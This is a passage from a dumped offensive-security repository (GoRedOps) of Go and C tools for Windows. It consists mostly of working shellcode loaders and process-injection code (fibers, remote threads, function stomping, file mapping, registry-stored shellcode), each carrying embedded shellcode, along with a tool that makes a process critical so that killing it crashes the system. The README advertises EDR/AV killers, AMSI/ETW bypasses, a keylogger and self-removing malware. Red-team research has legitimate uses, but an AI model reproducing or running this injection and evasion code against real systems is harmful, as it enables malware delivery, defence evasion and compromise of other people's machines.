(!VirtualProtect(allocmem, length, PAGE_EXECUTE_READ, &oldProtect)) { 11 | VirtualFree(allocmem, 0, MEM_RELEASE); 12 | ExitProcess(GetLastError()); 13 | } 14 | HANDLE fiber = CreateFiber(0, (LPFIBER_START_ROUTINE)allocmem, NULL); 15 | if (fiber == NULL) { 16 | VirtualFree(allocmem, 0, MEM_RELEASE); 17 | ExitProcess(GetLastError()); 18 | } 19 | ConvertThreadToFiber(NULL); 20 | SwitchToFiber(fiber); 21 | DeleteFiber(fiber); 22 | VirtualFree(allocmem, 0, MEM_RELEASE); 23 | } -------------------------------------------------------------------------------- /Payload_Placement/Payload_Placement.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | /* 4 | #include "Payload_Placement_Wrapper.c" 5 | */ 6 | import "C" 7 | import ( 8 | "fmt" 9 | "unsafe" 10 | ) 11 | 12 | // start calc.exe 13 | var shellcode = []byte{ 14 | 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 15 | 0x59, 0x48, 0x83, 0xEC, 0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 16 | 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 17 | 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 18 | 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 19 | 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 20 | 0x30, 0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3, 21 | } 22 | 23 | func main() { 24 | C.ExecSC((*C.uchar)(unsafe.Pointer(&shellcode[0])), C.size_t(len(shellcode))) 25 | fmt.Println("[+] Shellcode Executed!") 26 | } 27 | -------------------------------------------------------------------------------- /Payload_Placement/Payload_Placement_Wrapper.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | typedef void (*shellcode_func)(); 5 | 6 | void ExecSC(const unsigned char* shellcode, size_t length) { 7 | LPVOID allocmem = VirtualAlloc(NULL, length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 8 | if (allocmem == NULL) { 9 | ExitProcess(GetLastError()); 10 | } 11 | memcpy(allocmem, shellcode, length); 12 | DWORD olprotec; 13 | if (!VirtualProtect(allocmem, length, PAGE_EXECUTE_READ, &olprotec)) { 14 | VirtualFree(allocmem, 0, MEM_RELEASE); 15 | ExitProcess(GetLastError()); 16 | } 17 | shellcode_func func = (shellcode_func)allocmem; 18 | func(); 19 | VirtualFree(allocmem, 0, MEM_RELEASE); 20 | } -------------------------------------------------------------------------------- /Process_Injection_Shellcode/ProcInjMapper.c: -------------------------------------------------------------------------------- 1 | #include "ProcInjMapper.h" 2 | #include 3 | #include 4 | 5 | DWORD find_process(const char *name) { 6 | HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 7 | if (hSnapshot == INVALID_HANDLE_VALUE) { 8 | return 0; 9 | } 10 | 11 | PROCESSENTRY32 pe; 12 | pe.dwSize = sizeof(PROCESSENTRY32); 13 | 14 | if (!Process32First(hSnapshot, &pe)) { 15 | CloseHandle(hSnapshot); 16 | return 0; 17 | } 18 | 19 | do { 20 | if (strcmp(pe.szExeFile, name) == 0) { 21 | CloseHandle(hSnapshot); 22 | return pe.th32ProcessID; 23 | } 24 | } while (Process32Next(hSnapshot, &pe)); 25 | 26 | CloseHandle(hSnapshot); 27 | return 0; 28 | } 29 | 30 | BOOL inject_shellcode(DWORD pid, const unsigned char *buf, size_t len) { 31 | HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); 32 | if (hProcess == NULL) { 33 | return FALSE; 34 | } 35 | 36 | LPVOID addr = VirtualAllocEx(hProcess, NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READ); 37 | if (addr == NULL) { 38 | CloseHandle(hProcess); 39 | return FALSE; 40 | } 41 | 42 | if (!WriteProcessMemory(hProcess, addr, buf, len, NULL)) { 43 | CloseHandle(hProcess); 44 | return FALSE; 45 | } 46 | 47 | HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)addr, NULL, 0, NULL); 48 | if (hThread == NULL) { 49 | CloseHandle(hProcess); 50 | return FALSE; 51 | } 52 | 53 | WaitForSingleObject(hThread, INFINITE); 54 | CloseHandle(hThread); 55 | CloseHandle(hProcess); 56 | return TRUE; 57 | } 58 | -------------------------------------------------------------------------------- /Process_Injection_Shellcode/ProcInjMapper.h: -------------------------------------------------------------------------------- 1 | #ifndef PROCINJMAPPER_H 2 | #define PROCINJMAPPER_H 3 | 4 | #include 5 | 6 | DWORD find_process(const char *name); 7 | BOOL inject_shellcode(DWORD pid, const unsigned char *buf, size_t len); 8 | 9 | #endif // PROCINJMAPPER_H 10 | -------------------------------------------------------------------------------- /Process_Injection_Shellcode/Process_Injection_Shellcode.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | /* 4 | #cgo LDFLAGS: -lpsapi 5 | #include "ProcInjMapper.h" 6 | */ 7 | import "C" 8 | import ( 9 | "fmt" 10 | "unsafe" 11 | ) 12 | 13 | func main() { 14 | shellcode := []byte{ 15 | 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 16 | 0x59, 0x48, 0x83, 0xEC, 0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 17 | 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 18 | 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 19 | 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 20 | 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 21 | 0x30, 0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3, 22 | } 23 | 24 | procname := C.CString("notepad.exe") 25 | defer C.free(unsafe.Pointer(procname)) 26 | 27 | pid := C.find_process(procname) 28 | if pid == 0 { 29 | fmt.Println("[!] Process not found") 30 | return 31 | } 32 | 33 | scess := C.inject_shellcode(pid, (*C.uchar)(&shellcode[0]), C.size_t(len(shellcode))) 34 | if scess == C.FALSE { 35 | fmt.Println("[!] Injection failed") 36 | } else { 37 | fmt.Println("[+] Injection successful") 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /Process_Injection_Shellcode/build.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | go build -o ProcInj.exe 3 | exit -------------------------------------------------------------------------------- /ProtectProcess/ProtectProcess.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "syscall" 6 | "unsafe" 7 | ) 8 | 9 | var ( 10 | modadvapi32 = syscall.NewLazyDLL("advapi32.dll") 11 | modntdll = syscall.NewLazyDLL("ntdll.dll") 12 | modkernel32 = syscall.NewLazyDLL("kernel32.dll") 13 | procLookupPrivilegeValueW = modadvapi32.NewProc("LookupPrivilegeValueW") 14 | procAdjustTokenPrivileges = modadvapi32.NewProc("AdjustTokenPrivileges") 15 | procRtlSetProcessIsCritical = modntdll.NewProc("RtlSetProcessIsCritical") 16 | procGetCurrentProcess = modkernel32.NewProc("GetCurrentProcess") 17 | procCloseHandle = modkernel32.NewProc("CloseHandle") 18 | ) 19 | 20 | const ( 21 | SE_DEBUG_NAME = "SeDebugPrivilege" 22 | SE_PRIVILEGE_ENABLED = 0x00000002 23 | ) 24 | 25 | type LUID struct { 26 | LowPart uint32 27 | HighPart int32 28 | } 29 | 30 | type LUIDAndAttributes struct { 31 | Luid LUID 32 | Attributes uint32 33 | } 34 | 35 | type Tokenprivileges struct { 36 | PrivilegeCount uint32 37 | Privileges [1]LUIDAndAttributes 38 | } 39 | 40 | func LookupPrivilegeValue(systemname *uint16, name *uint16, luid *LUID) error { 41 | r1, _, e1 := procLookupPrivilegeValueW.Call(uintptr(unsafe.Pointer(systemname)), uintptr(unsafe.Pointer(name)), uintptr(unsafe.Pointer(luid))) 42 | if r1 == 0 { 43 | return syscall.Errno(e1.(syscall.Errno)) 44 | } 45 | return nil 46 | } 47 | 48 | func AdjustTokenPrivileges(token syscall.Handle, disableAllPrivileges bool, newstate *Tokenprivileges, buflen uint32, prevstate *Tokenprivileges, returnlen *uint32) error { 49 | var _p0 uint32 50 | if disableAllPrivileges { 51 | _p0 = 1 52 | } 53 | r1, _, e1 := procAdjustTokenPrivileges.Call(uintptr(token), uintptr(_p0), uintptr(unsafe.Pointer(newstate)), uintptr(buflen), uintptr(unsafe.Pointer(prevstate)), uintptr(unsafe.Pointer(returnlen))) 54 | if r1 == 0 { 55 | return syscall.Errno(e1.(syscall.Errno)) 56 | } 57 | return nil 58 | } 59 | 60 | func SetDebugPrivilege() error { 61 | var token syscall.Handle 62 | r1, _, e1 := procGetCurrentProcess.Call() 63 | if r1 == 0 { 64 | return syscall.Errno(e1.(syscall.Errno)) 65 | } 66 | token = syscall.Handle(r1) 67 | 68 | defer syscall.CloseHandle(token) 69 | 70 | var tokenHandle syscall.Token 71 | err := syscall.OpenProcessToken(token, syscall.TOKEN_ADJUST_PRIVILEGES|syscall.TOKEN_QUERY, &tokenHandle) 72 | if err != nil { 73 | return err 74 | } 75 | 76 | var luid LUID 77 | err = LookupPrivilegeValue(nil, syscall.StringToUTF16Ptr(SE_DEBUG_NAME), &luid) 78 | if err != nil { 79 | return err 80 | } 81 | 82 | tp := Tokenprivileges{ 83 | PrivilegeCount: 1, 84 | Privileges: [1]LUIDAndAttributes{ 85 | { 86 | Luid: luid, 87 | Attributes: SE_PRIVILEGE_ENABLED, 88 | }, 89 | }, 90 | } 91 | 92 | err = AdjustTokenPrivileges(syscall.Handle(tokenHandle), false, &tp, uint32(unsafe.Sizeof(tp)), nil, nil) 93 | if err != nil { 94 | return err 95 | } 96 | 97 | return nil 98 | } 99 | 100 | func SetProcessCritical() error { 101 | err := SetDebugPrivilege() 102 | if err != nil { 103 | return err 104 | } 105 | 106 | r1, _, e1 := procRtlSetProcessIsCritical.Call(uintptr(1), 0, 0) 107 | if r1 != 0 { 108 | return nil 109 | } 110 | return syscall.Errno(e1.(syscall.Errno)) 111 | } 112 | 113 | func main() { 114 | err := SetProcessCritical() 115 | if err != nil { 116 | fmt.Printf("Error: %v\n", err) 117 | return 118 | } 119 | } -------------------------------------------------------------------------------- /ProtectProcess/readme.md: -------------------------------------------------------------------------------- 1 | ## RTL Process Is Critical 2 | - Needs Admin permissions to set ```SeDebugPrivilliege``` 3 | - Creating a process that is critical! Attempting to terminate it will trigger a BSOD (Blue Screen of Death). 4 | It Can be used for Process Protection. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # GoRedOps 2 | ## Telegram: 3 | - https://t.me/ebytelabs 4 | ![GoRedOps Logo](GoRedOps.png) 5 | 6 | GoRedOps is a collection of Golang projects designed specifically for red teamers and offensive security operations. This repository provides various tools and techniques essential for penetration testing, exploitation, and security research. 7 | 8 | ## Table of Contents 9 | 10 | - [About](#about) 11 | - [Project Structure](#project-structure) 12 | - [Getting Started](#getting-started) 13 | - [Contributing](#contributing) 14 | 15 | ## Project Structure 16 | 17 | GoRedOps contains the following codes: 18 | 19 | - **AntiDebugNOPACKAGE** 20 | - Anti-debugging techniques without packaging. 21 | - **AntiDebugPackage** 22 | - Packaged anti-debugging techniques. 23 | - **BatchfileDeobfuscator** 24 | - Tools for deobfuscating batch files. 25 | - **CreateDLL** 26 | - Tools for creating dynamic-link libraries (DLLs). 27 | - **crypto** 28 | - Various cryptographic algorithms (AES, ChaCha20, RC4, XOR). 29 | - **EDR-XDR-AV-Killer** 30 | - Tools for evading and disabling EDR, XDR, and antivirus software. 31 | - **ETWBypass** 32 | - Techniques for bypassing Event Tracing for Windows (ETW). 33 | - **GoDLLInjector** 34 | - DLL injection techniques. 35 | - **GoObfuscator** 36 | - Tools for obfuscating Go code. 37 | - **injection_native_apc** 38 | - Native APC injection techniques. 39 | - **injection_thread** 40 | - Thread injection techniques: 41 | - createThread 42 | - ntCreateThreadEx 43 | - **instrumentation_callback** 44 | - Techniques involving instrumentation callbacks. 45 | - **LifetimeAMSIBypass** 46 | - Bypassing AMSI (Antimalware Scan Interface). 47 | - **misc** 48 | - Miscellaneous scripts and tools. 49 | - **network** 50 | - Networking tools: 51 | - http (HTTP client and server) 52 | - pipes (Named pipes client and server) 53 | - tcp (TCP client and server) 54 | - **ParentPIDSpoofing** 55 | - Techniques for spoofing parent process IDs. 56 | - **PEParser** 57 | - Tools for parsing PE (Portable Executable) files. 58 | - **process_dump** 59 | - Tools for dumping process memory. 60 | - **ProtecProc** 61 | - Process protection techniques. 62 | - **ProtectProcess** 63 | - Additional process protection techniques. 64 | - **sandbox** 65 | - Techniques for detecting and evading sandboxes. 66 | - **self_remove** 67 | - Tools for self-removing malware. 68 | - **srdi** 69 | - Tools for shellcode reflection and dynamic invocation. 70 | - **token** 71 | - Token manipulation tools: 72 | - impersonate 73 | - list 74 | - **wmi** 75 | - Tools for interacting with Windows Management Instrumentation (WMI). 76 | - **APC Injection** 77 | - Exploits the Asynchronous Procedure Call (APC) technique to execute malicious code within target processes. 78 | 79 | - **Early Bird APC Injection** 80 | - A variation of APC Injection focusing on executing code before the main process starts. 81 | 82 | - **Local Mapping Injection** 83 | - Demonstrates malicious code injection via memory mapping into local processes. 84 | 85 | - **Local Payload Execution** 86 | - Addresses the direct execution of malicious payloads in a system's local environment. 87 | 88 | - **Payload Execution Fibers** 89 | - Demonstrates running shellcode using Fibers, a type of lightweight thread. 90 | 91 | - **Payload Placement** 92 | - Shows how to store shellcode in the .text section of a process and execute it. 93 | 94 | - **Process Injection (Shellcode)** 95 | - Exploits shellcode injection directly into running processes to control or execute malicious tasks. 96 | 97 | - **Registry Shellcode** 98 | - Demonstrates writing and reading shellcode to/from the Windows Registry. 99 | 100 | - **Remote Function Stomping Injection** 101 | - Exploits the substitution of functions in remote systems to carry out malicious activities. 102 | 103 | - **Remote Mapping Injection** 104 | - Demonstrates malicious code injection via memory mapping into remote processes. 105 | 106 | - **Remote Thread Hijacking** 107 | - Focuses on hijacking threads in remote system processes to execute malicious code. 108 | 109 | - **Threadless Injection** 110 | - Demonstrates threadless injection using Go & C, where shellcode is injected without creating a new thread. 111 | - **RunPE (Run Portable Executable)** 112 | - Runs PE in Memory, PE = .exe. 113 | - **Lifetime ETW - Amsi Bypass** 114 | - Patches Amsi and ETW forever in newly created powershell consoles. 115 | - **Keylogger** 116 | - Logs keystrokes into a temp file. 117 | ## Getting Started 118 | 119 | To get started with any of the tools in this repository, navigate to the respective project directory and follow the instructions in the `README.md` file provided. 120 | 121 | ### Prerequisites 122 | 123 | - Go programming language installed (version 1.20+) 124 | - Knowledge of Golang and offensive security operations, so have a brain in nutshell. 125 | 126 | ### Installation 127 | 128 | Clone the repository, and Change Dir to your specified one: 129 | 130 | ```bash 131 | git clone https://github.com/EvilBytecode/GoRedOps.git 132 | cd GoRedOps 133 | cd desired_folder 134 | ``` 135 | 136 | 137 | ### Contributing 138 | - We welcome contributions to improve GoRedOps. If you have an idea for a new tool or an enhancement to an existing one, please fork the repository and submit a pull request. 139 | ### How to contribute? 140 | - Steps to Contribute 141 | - Fork the repository. 142 | - Create a new branch for your feature or bug fix. 143 | - Implement your changes and commit them with descriptive messages. 144 | - Push your changes to your fork. 145 | - Submit a pull request to the main repository. 146 | 147 | # License : 148 | - NoLicense (UnLicense) 149 | 150 | # Credits: 151 | - https://github.com/Enelg52/OffensiveGo (30%) 152 | 153 | 154 | ## License 155 | This project is licensed under the MIT License. See the LICENSE file for details. 156 | -------------------------------------------------------------------------------- /Registry_Shellcode/Reg_Wrapper.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | void writereg(BYTE *buf, DWORD size) { 6 | HKEY hkey; 7 | LONG status = RegOpenKeyExA( 8 | HKEY_CURRENT_USER, 9 | "Control Panel", 10 | 0, 11 | KEY_SET_VALUE, 12 | &hkey 13 | ); 14 | if (status != ERROR_SUCCESS) { 15 | printf("[!] RegOpenKeyExA Failed With Error: %ld\n", status); 16 | return; 17 | } 18 | 19 | status = RegSetValueExA( 20 | hkey, 21 | "Evilbytecode", 22 | 0, 23 | REG_BINARY, 24 | buf, 25 | size 26 | ); 27 | if (status != ERROR_SUCCESS) { 28 | printf("[!] RegSetValueExA Failed With Error: %ld\n", status); 29 | } else { 30 | printf("[+] RegSetValueExA Succeeded\n"); 31 | } 32 | 33 | RegCloseKey(hkey); 34 | } 35 | 36 | void readreg() { 37 | DWORD dataSize = 0; 38 | DWORD type = REG_BINARY; 39 | LONG status = RegGetValueA( 40 | HKEY_CURRENT_USER, 41 | "Control Panel", 42 | "Evilbytecode", 43 | RRF_RT_ANY, 44 | &type, 45 | NULL, 46 | &dataSize 47 | ); 48 | if (status != ERROR_SUCCESS && status != ERROR_MORE_DATA) { 49 | printf("[!] RegGetValueA Failed With Error: %ld\n", status); 50 | return; 51 | } 52 | 53 | BYTE *data = (BYTE*) malloc(dataSize); 54 | if (!data) { 55 | printf("[!] Memory allocation failed\n"); 56 | return; 57 | } 58 | 59 | status = RegGetValueA( 60 | HKEY_CURRENT_USER, 61 | "Control Panel", 62 | "Evilbytecode", 63 | RRF_RT_ANY, 64 | &type, 65 | data, 66 | &dataSize 67 | ); 68 | if (status != ERROR_SUCCESS) { 69 | printf("[!] RegGetValueA Failed With Error: %ld\n", status); 70 | free(data); 71 | return; 72 | } 73 | 74 | printf("[+] RegGetValueA Succeeded: "); 75 | for (DWORD i = 0; i < dataSize; i++) { 76 | printf("%02x ", data[i]); 77 | } 78 | printf("\n"); 79 | 80 | free(data); 81 | } 82 | -------------------------------------------------------------------------------- /Registry_Shellcode/Registry_Shellcode.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | /* 4 | #include 5 | 6 | void writereg(BYTE *buf, DWORD size); 7 | void readreg(); 8 | */ 9 | import "C" 10 | import ( 11 | "unsafe" 12 | ) 13 | 14 | func main() { 15 | // start calc.exe (btw you need to customize this a bit lol) 16 | buf := []byte{ 17 | 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 18 | 0x59, 0x48, 0x83, 0xEC, 0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 19 | 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 20 | 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 21 | 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 22 | 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 23 | 0x30, 0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3, 24 | } 25 | 26 | C.writereg((*C.BYTE)(unsafe.Pointer(&buf[0])), C.DWORD(len(buf))) 27 | C.readreg() 28 | println("[+] Registry operations completed successfully") 29 | } 30 | -------------------------------------------------------------------------------- /Registry_Shellcode/build.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | go build -o RegSC.exe 3 | ./RegSC.exe 4 | exit -------------------------------------------------------------------------------- /Remote_Function_Stomping_Injection/RemoteFuncMapper.c: -------------------------------------------------------------------------------- 1 | // RemoteFuncMapper.c 2 | #include "RemoteFuncMapper.h" 3 | #include 4 | #include 5 | #include 6 | 7 | HANDLE find_process(const char* name) { 8 | HANDLE hProcessSnap; 9 | PROCESSENTRY32 pe32; 10 | HANDLE hProcess = NULL; 11 | 12 | hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 13 | if (hProcessSnap == INVALID_HANDLE_VALUE) { 14 | return NULL; 15 | } 16 | 17 | pe32.dwSize = sizeof(PROCESSENTRY32); 18 | 19 | if (!Process32First(hProcessSnap, &pe32)) { 20 | CloseHandle(hProcessSnap); 21 | return NULL; 22 | } 23 | 24 | do { 25 | if (strcmp(pe32.szExeFile, name) == 0) { 26 | hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID); 27 | break; 28 | } 29 | } while (Process32Next(hProcessSnap, &pe32)); 30 | 31 | CloseHandle(hProcessSnap); 32 | return hProcess; 33 | } 34 | 35 | void inject_shellcode(HANDLE hprocess, unsigned char* shellcode, size_t size) { 36 | LPVOID pRemoteCode; 37 | DWORD oldProtect; 38 | HANDLE hThread; 39 | pRemoteCode = VirtualAllocEx(hprocess, NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 40 | if (pRemoteCode == NULL) { 41 | return; 42 | } 43 | WriteProcessMemory(hprocess, pRemoteCode, shellcode, size, NULL); 44 | VirtualProtectEx(hprocess, pRemoteCode, size, PAGE_EXECUTE_READ, &oldProtect); 45 | hThread = CreateRemoteThread(hprocess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteCode, NULL, 0, NULL); 46 | if (hThread != NULL) { 47 | WaitForSingleObject(hThread, INFINITE); 48 | CloseHandle(hThread); 49 | } 50 | VirtualFreeEx(hprocess, pRemoteCode, 0, MEM_RELEASE); 51 | } 52 | -------------------------------------------------------------------------------- /Remote_Function_Stomping_Injection/RemoteFuncMapper.h: -------------------------------------------------------------------------------- 1 | // RemoteFuncMapper.h 2 | #ifndef REMOTE_FUNC_MAPPER_H 3 | #define REMOTE_FUNC_MAPPER_H 4 | 5 | #include 6 | 7 | #ifdef __cplusplus 8 | extern "C" { 9 | #endif 10 | 11 | HANDLE find_process(const char* name); 12 | void inject_shellcode(HANDLE hprocess, unsigned char* shellcode, size_t size); 13 | 14 | #ifdef __cplusplus 15 | } 16 | #endif 17 | 18 | #endif // REMOTE_FUNC_MAPPER_H 19 | -------------------------------------------------------------------------------- /Remote_Function_Stomping_Injection/Remote_Function_Stomping_Injection.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | /* 4 | #cgo CFLAGS: -I. 5 | #cgo LDFLAGS: -lkernel32 -luser32 6 | #include "RemoteFuncMapper.h" 7 | */ 8 | import "C" 9 | import ( 10 | "fmt" 11 | "unsafe" 12 | ) 13 | 14 | func findProcess(name string) (C.HANDLE, error) { 15 | cName := C.CString(name) // Convert Go string to C string and after we Free the C string after use :cool: 16 | defer C.free(unsafe.Pointer(cName)) 17 | handle := C.find_process(cName) 18 | if handle == nil { 19 | return nil, fmt.Errorf("process not found") 20 | } 21 | return handle, nil 22 | } 23 | 24 | func injectShellcode(hProcess C.HANDLE, shellcode []byte) { 25 | size := C.size_t(len(shellcode)) 26 | shellcodePtr := unsafe.Pointer(&shellcode[0]) 27 | C.inject_shellcode(hProcess, (*C.uchar)(shellcodePtr), size) 28 | } 29 | 30 | func main() { 31 | // start calc.exe 32 | shellcode := []byte{ 33 | 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 34 | 0x59, 0x48, 0x83, 0xEC, 0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 35 | 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 36 | 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 37 | 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 38 | 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 39 | 0x30, 0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3, 40 | } 41 | 42 | processName := "notepad.exe" 43 | hProcess, err := findProcess(processName) 44 | if err != nil { 45 | fmt.Println("Error:", err) 46 | return 47 | } 48 | 49 | injectShellcode(hProcess, shellcode) 50 | } 51 | -------------------------------------------------------------------------------- /Remote_Function_Stomping_Injection/build.bat: -------------------------------------------------------------------------------- 1 | @Echo off 2 | go build -o Remote_Function_Stomping_Injection.exe 3 | ./Remote_Function_Stomping_Injection.exe 4 | exit -------------------------------------------------------------------------------- /Remote_Mapping_Injection/Remote_Mapper.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | DWORD FindProc(const char* process_name) { 6 | HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 7 | if (snapshot == INVALID_HANDLE_VALUE) { 8 | printf("[-] Failed to create snapshot. Error: %lu\n", GetLastError()); 9 | return 0; 10 | } 11 | 12 | PROCESSENTRY32 process_entry; 13 | process_entry.dwSize = sizeof(PROCESSENTRY32); 14 | 15 | if (!Process32First(snapshot, &process_entry)) { 16 | printf("[-] Failed to retrieve process information. Error: %lu\n", GetLastError()); 17 | CloseHandle(snapshot); 18 | return 0; 19 | } 20 | 21 | DWORD pid = 0; 22 | do { 23 | if (strcmp(process_entry.szExeFile, process_name) == 0) { 24 | pid = process_entry.th32ProcessID; 25 | printf("[+] Found process '%s' with PID %lu\n", process_name, pid); 26 | break; 27 | } 28 | } while (Process32Next(snapshot, &process_entry)); 29 | 30 | CloseHandle(snapshot); 31 | if (pid == 0) { 32 | printf("[-] Process '%s' not found.\n", process_name); 33 | } 34 | return pid; 35 | } 36 | 37 | void execSC(const unsigned char* shellcode, size_t shellcode_size, const char* process_name) { 38 | DWORD pid = FindProc(process_name); 39 | if (pid == 0) { 40 | printf("[-] Error finding the PID of the mentioned process!\n"); 41 | return; 42 | } 43 | 44 | HANDLE hprocess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); 45 | if (hprocess == NULL) { 46 | printf("[-] OpenProcess failed with error %lu\n", GetLastError()); 47 | return; 48 | } 49 | printf("[+] Successfully opened process with PID %lu\n", pid); 50 | 51 | HANDLE hfile = CreateFileMappingA( 52 | INVALID_HANDLE_VALUE, 53 | NULL, 54 | PAGE_EXECUTE_READWRITE, 55 | 0, 56 | (DWORD)shellcode_size, 57 | NULL 58 | ); 59 | 60 | if (hfile == NULL) { 61 | printf("[-] CreateFileMappingA failed with error %lu\n", GetLastError()); 62 | CloseHandle(hprocess); 63 | return; 64 | } 65 | printf("[+] Successfully created file mapping.\n"); 66 | 67 | void* map_address = MapViewOfFile( 68 | hfile, 69 | FILE_MAP_WRITE | FILE_MAP_EXECUTE, 70 | 0, 71 | 0, 72 | shellcode_size 73 | ); 74 | 75 | if (map_address == NULL) { 76 | printf("[-] MapViewOfFile failed with error %lu\n", GetLastError()); 77 | CloseHandle(hfile); 78 | CloseHandle(hprocess); 79 | return; 80 | } 81 | printf("[+] Successfully mapped view of file.\n"); 82 | 83 | memcpy(map_address, shellcode, shellcode_size); 84 | printf("[+] Successfully copied shellcode to the mapped memory.\n"); 85 | 86 | HANDLE hthread = CreateRemoteThread( 87 | hprocess, 88 | NULL, 89 | 0, 90 | (LPTHREAD_START_ROUTINE)map_address, 91 | NULL, 92 | 0, 93 | NULL 94 | ); 95 | 96 | if (hthread == NULL) { 97 | printf("[-] CreateRemoteThread failed with error %lu\n", GetLastError()); 98 | } else { 99 | printf("[+] Successfully created remote thread. Waiting for it to finish...\n"); 100 | WaitForSingleObject(hthread, INFINITE); 101 | CloseHandle(hthread); 102 | printf("[+] Remote thread completed.\n"); 103 | } 104 | 105 | UnmapViewOfFile(map_address); 106 | printf("[+] Unmapped view of file.\n"); 107 | CloseHandle(hfile); 108 | printf("[+] Closed file mapping handle.\n"); 109 | CloseHandle(hprocess); 110 | printf("[+] Closed process handle.\n"); 111 | printf("[+] Shellcode Injected.\n"); 112 | } 113 | -------------------------------------------------------------------------------- /Remote_Mapping_Injection/Remote_Mapping_Injection.go: -------------------------------------------------------------------------------- 1 | // Remote_Mapping_Injection.go 2 | 3 | package main 4 | 5 | /* 6 | #cgo LDFLAGS: -lpsapi 7 | #include 8 | #include 